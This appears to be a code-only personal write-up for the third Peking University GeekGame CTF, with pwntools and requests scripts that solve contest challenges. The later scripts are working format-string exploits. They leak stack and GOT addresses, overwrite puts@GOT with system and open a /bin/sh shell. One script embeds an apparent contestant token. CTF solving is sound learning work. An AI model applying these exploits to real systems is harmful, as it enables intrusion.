第三届北京大学信息安全综合能力竞赛个人题解

EMOJI_CHARS = (
    {chr(0x200d)}  # zwj
    | {chr(0x200b)}  # zwsp, to break emoji componenets into independent chars
    | {chr(0x20e3)} # keycap
    | {chr(c) for c in range(0xfe00, 0xfe0f+1)} # variation selector
    | {chr(c) for c in range(0xe0020, 0xe007f+1)} # tag
    | {chr(c) for c in range(0x1f1e6, 0x1f1ff+1)} # regional indicator
)
# https://www.compart.com/en/unicode/category
DISALLOWED_CHARS = (
    unicode_chars('Cc', 'Cf', 'Cs', 'Mc', 'Me', 'Mn', 'Zl', 'Zp') # control and modifier chars
    | {chr(c) for c in range(0x12423, 0x12431+1)} # too long
    | {chr(0x0d78)} # too long
) - EMOJI_CHARS
WHITESPACE_CHARS = unicode_chars('Zs') | EMOJI_CHARS
@classmethod
def _deep_val_nickname(cls, name: str) -> Optional[str]:
    all_whitespace = True
    for c in name:
        if c in cls.DISALLOWED_CHARS:
            return f'昵称中不能包含字符 {hex(ord(c))}'
        if c not in cls.WHITESPACE_CHARS:
            all_whitespace = False

from typing import Set
from unicategories import categories
def unicode_chars(*cats: str) -> Set[str]:
    ret = set()
    for cat in cats:
        ret |= set(categories[cat].characters())
    return ret
EMOJI_CHARS = (
    {chr(0x200d)}  # zwj
    | {chr(0x200b)}  # zwsp, to break emoji componenets into independent chars
    | {chr(0x20e3)} # keycap
    | {chr(c) for c in range(0xfe00, 0xfe0f+1)} # variation selector
    | {chr(c) for c in range(0xe0020, 0xe007f+1)} # tag
    | {chr(c) for c in range(0x1f1e6, 0x1f1ff+1)} # regional indicator
)
# https://www.compart.com/en/unicode/category
DISALLOWED_CHARS = (
    unicode_chars('Cc', 'Cf', 'Cs', 'Mc', 'Me', 'Mn', 'Zl', 'Zp') # control and modifier chars
    | {chr(c) for c in range(0x12423, 0x12431+1)} # too long
    | {chr(0x0d78)} # too long
) - EMOJI_CHARS
WHITESPACE_CHARS = unicode_chars('Zs') | EMOJI_CHARS
print(len(DISALLOWED_CHARS))

from pwn import *
conn = remote("prob05.geekgame.pku.edu.cn", 10005)
conn.recvuntil(b"Please input your token: ")
conn.send(b"<MY TOKEN>\n")
time.sleep(1)
conn.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a")
time.sleep(1)
conn.send(b"\x0a")
time.sleep(1)
conn.send(b"\x2a\x18\x43\x18\x44\x18\x40\x18\x40\x18\x40\x18\x40\xdd\x51\xa2\x33\x66\x6c\x61\x67\x2e\x6a\x70\x67\x18\x40\x31\x36\x30\x39\x36\x20\x31\x34\x35\x30\x35\x33\x33\x33\x35\x31\x35\x20\x31\x30\x30\x37\x37\x37\x20\x30\x20\x31\x20\x31\x36\x30\x39\x36\x18\x40\x18\x6b\xd6\x18\xcb\x33\x66\x11")
time.sleep(1)
conn.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a\x0a")
time.sleep(1)
print(conn.recv())
conn.send(b"\x2a\x2a\x18\x42\x30\x39\x30\x30\x30\x30\x30\x30\x30\x30\x61\x38\x37\x63\x0a\x0a")
with open("flag1.bin", "wb") as writer:
  writer.write(conn.recv())

import struct
result = b""
data = b""
for f in [1, 2, 3, 4, 5, 6, 7, 8]:
  with open(f"./{f:04d}.bin", "rb") as reader:
    data += reader.read()
data = data[data.index(b"\xFF\xD8\xFF\xE0"):]
i = 0
while i < len(data):
  c = data[i]
  if c == 0x18:
    if i + 1 >= len(data):
      break
    c = data[i + 1]
    c = c ^ 0x40
    result += struct.pack("B", c)
    i += 2
    continue
  else:
    result += struct.pack("B", c)
    i += 1
    continue
with open("out.jpg", "wb") as writer:
  writer.write(result[result.index(b"\xFF\xD8\xFF\xE0"):])

from pwn import *
context.log_level = "debug"
io = process(["sz", "test.jpg"])
time.sleep(1)
io.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a\x0a")
time.sleep(1)
io.recv()
io.send(b"\x2a\x2a\x18\x42\x30\x39\x30\x30\x30\x30\x30\x30\x30\x30\x61\x38\x37\x63\x0a\x0a")
time.sleep(1)
out = 1
while True:
  x = io.recv(timeout=5)
  if not x:
    break
  with open(f"test/{out:04d}.bin", "wb") as writer:
    writer.write(x)
  out += 1
io.close()

remove = 0x405
i = 0
while i < len(data):
  if len(result) == remove:
    result = result[:-5]
    remove += 0x400

from pwn import *
COMMANDS = [
  "n",
  "n",
  "e",
  "pickup key",
  "w",
  "s",
  "s",
  "e",
  "e",
  "e",
  "pickup trinket",
  "use trinket",
  "w",
  "s",
  "usewith key door",
  "s",
  "s",
  "n",
  "w",
  "w",
  "w",
  "n",
  "pickup key",
  "s",
  "e",
  "e",
  "e",
  "n",
  "n",
  "n",
  "w",
  "w",
  "n",
  "n",
  "w",
  "w",
  "usewith key door",
  "h",
]
def play(file_name):
  writer = open(file_name, "w", -1, "utf8")
  conn = remote("prob16.geekgame.pku.edu.cn", 10016)
  conn.recvuntil(b"Please input your token: ")
  conn.sendline(b"MY TOKEN")
  time.sleep(1)
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"newgame\n")
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"gamer\n")
  conn.recvuntil(b"(y/n) ", timeout=5)
  conn.send(b"y\n")
  for command in COMMANDS:
    writer.write(conn.recvuntil(b"]: ", timeout=5).decode("utf8") + "\n")
    conn.send(command.encode("utf8") + b"\n")
  while True:
    result = conn.recvuntil(b"]: ", timeout=5).decode("utf8")
    writer.write(result + "\n")
    sanity = int(re.search(r"Sanity: \[[\|\-]+\] \((-?\d+)%\)", result).group(1))
    if sanity >= 118:
      conn.send(b"n\n")
      result = conn.recvuntil(b"]: ", timeout=5).decode("utf8")
      writer.write(result + "\n")
      writer.close()
      exit(0)
    elif sanity < 1:
      conn.close()
      break
    else:
      conn.send(b"h\n")
  writer.close()
  
i = 0
while True:
  play(f"output/{i}.txt")
  i += 1
  time.sleep(3.5)

from pwn import *
COMMANDS = [
  "n",
  "n",
  "w",
  "w",
  "s",
  "s",
  "getflag",
]
def play():
  writer = open("output/flag2.txt", "w", -1, "utf8")
  conn = remote("prob16.geekgame.pku.edu.cn", 10016)
  conn.recvuntil(b"Please input your token: ")
  conn.send(b"448:MEYCIQCWia84qwxiWuYqqtctrw6YAzAGcevIrzAikp7FGKm9LwIhAIS_ydCHSUczXU9RK5Cn8fH8acfvPtuj7nrOWU6UtPJW\n")
  time.sleep(1)
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"newgame\n")
  conn.recvuntil(b"]: ", timeout=5)
  conn.send(b"gamer\n")
  conn.recvuntil(b"(y/n) ", timeout=5)
  conn.send(b"y\n")
  for command in COMMANDS:
    conn.recvuntil(b"]: ", timeout=5)
    conn.send(command.encode("utf8") + b"\n")
  start_time = time.time()
  first = True
  while True:
    conn.recvline()
    line = conn.recvline().decode("utf8").strip()
    now = time.time()
    if now - start_time > 0.95:
      writer.write("1")
      writer.flush()
    else:
      if not first:
        writer.write("0")
        writer.flush()
      else:
        first = False
    if line == "Challenge Failed":
      break
    start_time = time.time()
    conn.sendline(b"0")
  writer.close()
play()

import json
import os
import re
import requests
with open("emoji_list.txt", "r", -1, "utf8") as reader:
  x = "".join(reader.read().split("\n"))
cookies = None
for i in range(0, len(x), 64):
  sub = x[i:i+64]
  response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
  if not cookies:
    cookies = response.cookies
  result = re.search(r"[🟥🟨🟩]+", response.text).group(0)
  assert len(result) == len(sub)
  with open(f"3/{i // 64}.txt", "w", -1, "utf8", None, "\n") as writer:
    writer.write(sub + "\n" + result)
STATUS_NOT_IN = 0
STATUS_IN = 1
STATUS_CORRECT_POS = 2
char_pos = {
  i: [] for i in range(64)
}
char_in = ""
for file_name in os.listdir("3"):
  if not file_name.endswith(".txt"):
    continue
  with open(f"3/{file_name}", "r", -1, "utf8") as reader:
    x, y = reader.read().strip().split("\n")
  
  for i, (char, status) in enumerate(zip(x, y)):
    if status != "🟥":
      char_in += char
for i in char_in:
  sub = i * 64
  response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
  result = re.search(r"[🟥🟨🟩]+", response.text).group(0)
  assert len(result) == len(sub)
  with open(f"3/{ord(i)}.txt", "w", -1, "utf8", None, "\n") as writer:
    writer.write(sub + "\n" + result)
for file_name in os.listdir("3"):
  if not file_name.endswith(".txt"):
    continue
  with open(f"3/{file_name}", "r", -1, "utf8") as reader:
    x, y = reader.read().strip().split("\n")
  
  for i, (char, status) in enumerate(zip(x, y)):
    if status == "🟩":
      char_pos[i] = char
sub = "".join(char_pos.values())
assert len(sub) == 64
response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
print(response.text)

def int2aeio(number: int, length: int = 16):
  s = ""
  while number > 0 or length > 0:
    number, digit = divmod(number, 4)
    s = "AEIO"[digit] + s
    length -= 1
  return s
writer = open("strings.txt", "w", -1, "utf8", None, "\n")
for i in range(0, 4 ** 16):
  s = int2aeio(i)
  if s.count("A") == 6 and s.count("E") == 3 and s.count("I") == 1 and s.count("O") == 6:
    writer.write(s + "\n")
    writer.flush()

def calc_hash(flag: str) -> int:
  hash = 1337
  for s in flag:
    hash = hash * 13337 + ("AEIO".index(s) + 1) * 11
  hash = hash * 13337 + 66
  hash = hash % 19260817
  return str(hash)
import multiprocess
if __name__ == "__main__":
  with multiprocess.Pool(16) as pool:
    with open("strings.txt", "r", -1, "utf8") as reader:
      result = pool.map(calc_hash, reader.read().split("\n"))
  
  with open("hash.txt", "w", -1, "utf8") as writer:
    writer.write("\n".join(result))

from pwn import *
conn = connect("prob09.geekgame.pku.edu.cn", "10009")
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")
conn.recvuntil(b"Please input your instruction:\n")
conn.sendline(b"%1$p")
line = conn.recvline().decode("utf8", "ignore")
addr = int(line[2:], 16) + 0x40
conn.recvuntil(b"Please input your instruction:\n")
conn.sendline(b"%35$s".ljust(0x08, b"a") + p64(addr))
line = conn.recvline().decode("utf8", "ignore")
print(line)
conn.close()

from pwn import *
import struct
conn = connect("prob09.geekgame.pku.edu.cn", "10009")
conn.recvuntil(b"Please input your token: ")
conn.sendline(b"MY TOKEN")
conn.recvuntil(b"Please input your instruction:\n")
conn.sendline(b"%26$p %27$p %28$p %29$p %30$p %31$p %32$p %33$p")
line = conn.recvline().decode("utf8", "ignore").strip("\n")
line_bytes = struct.pack("<8Q", *[int(x[2:], 16) if x != "(nil)" else 0 for x in line.split(" ")])
print(line_bytes.decode("utf8", "ignore"))
conn.close()

from pwn import *
context(arch="amd64", os="linux")
r = connect("prob11.geekgame.pku.edu.cn", "10011")
r.recvuntil(b"Please input your token: ")
r.sendline(b"MY TOKEN")
elf = ELF("./challenge2")
libc = ELF("./libc.so.6")
offset = 14
puts_got = elf.got["puts"]
log.success("puts_got    => {}".format(hex(puts_got)))
r.recvuntil(b"please enter your flag~(less than 0x20 characters)\n")
payload = f"%{offset + 1}$s".encode("utf-8").ljust(8, b"a") + p64(puts_got)
r.sendline(payload)
printf_addr = r.recvline()[len(b"this is your flag: "):]
printf_addr = struct.unpack("<Q", printf_addr[:printf_addr.index(b"a")].ljust(8, b"\x00"))[0]
log.success("puts_addr   => {}".format(hex(printf_addr)))
system_addr = printf_addr - (libc.symbols["puts"] - libc.symbols["system"])
log.success("system_addr => {}".format(hex(system_addr)))
btw = sorted(((system_addr & 0xff, 0), ((system_addr >> 8) & 0xff, 1), ((system_addr >> 16) & 0xff, 2)))
payload = f"%{btw[0][0]}c%{offset + 5}$hhn%{btw[1][0] - btw[0][0]}c%{offset + 6}$hhn%{btw[2][0] - btw[1][0]}c%{offset + 7}$hhn".encode().ljust(40, b"a") + p64(puts_got + btw[0][1]) + p64(puts_got + btw[1][1]) + p64(puts_got + btw[2][1])
print(payload)
r.recvuntil(b"What will you do to capture it?:")
r.sendline(payload)
r.recvuntil(b" and your flag again? :")
payload = b"/bin/sh"
r.sendline(payload)
r.interactive()

from pwn import *
context(arch="amd64", os="linux")
r = connect("prob11.geekgame.pku.edu.cn", "10011")
r.recvuntil(b"Please input your token: ")
r.sendline(b"MY TOKEN")
elf = ELF("./challenge2")
libc = ELF("./libc.so.6")
offset_1 = 14
offset_2 = 6
puts_got = elf.got["puts"]
start_main_got = elf.got["__libc_start_main"]
r.recvuntil(b"please enter your flag~(less than 0x20 characters)\n")
payload = f"%{offset_1 + 1}$s".encode("utf-8").ljust(8, b"a") + p64(start_main_got)
r.sendline(payload)
puts_addr = r.recvline()[len(b"this is your flag: "):]
puts_addr = struct.unpack("<Q", puts_addr[:puts_addr.index(b"a")].ljust(8, b"\x00"))[0]
log.success("puts_addr   => {}".format(hex(puts_addr)))
system_addr = puts_addr - (libc.symbols["__libc_start_main"] - libc.symbols["system"])
log.success("system_addr => {}".format(hex(system_addr)))
btw = sorted(((system_addr & 0xff, 0), ((system_addr >> 8) & 0xff, 1), ((system_addr >> 16) & 0xff, 2)))
payload = f"%{btw[0][0]}c%{offset_2 + 5}$hhn%{btw[1][0] - btw[0][0]}c%{offset_2 + 6}$hhn%{btw[2][0] - btw[1][0]}c%{offset_2 + 7}$hhn".encode().ljust(40, b"a") + p64(puts_got + btw[0][1]) + p64(puts_got + btw[1][1]) + p64(puts_got + btw[2][1])
print(payload)
r.recvuntil(b"What will you do to capture it?:")
r.sendline(payload)
r.recvuntil(b" and your flag again? :")
payload = b"/bin/sh"
r.sendline(payload)
r.interactive()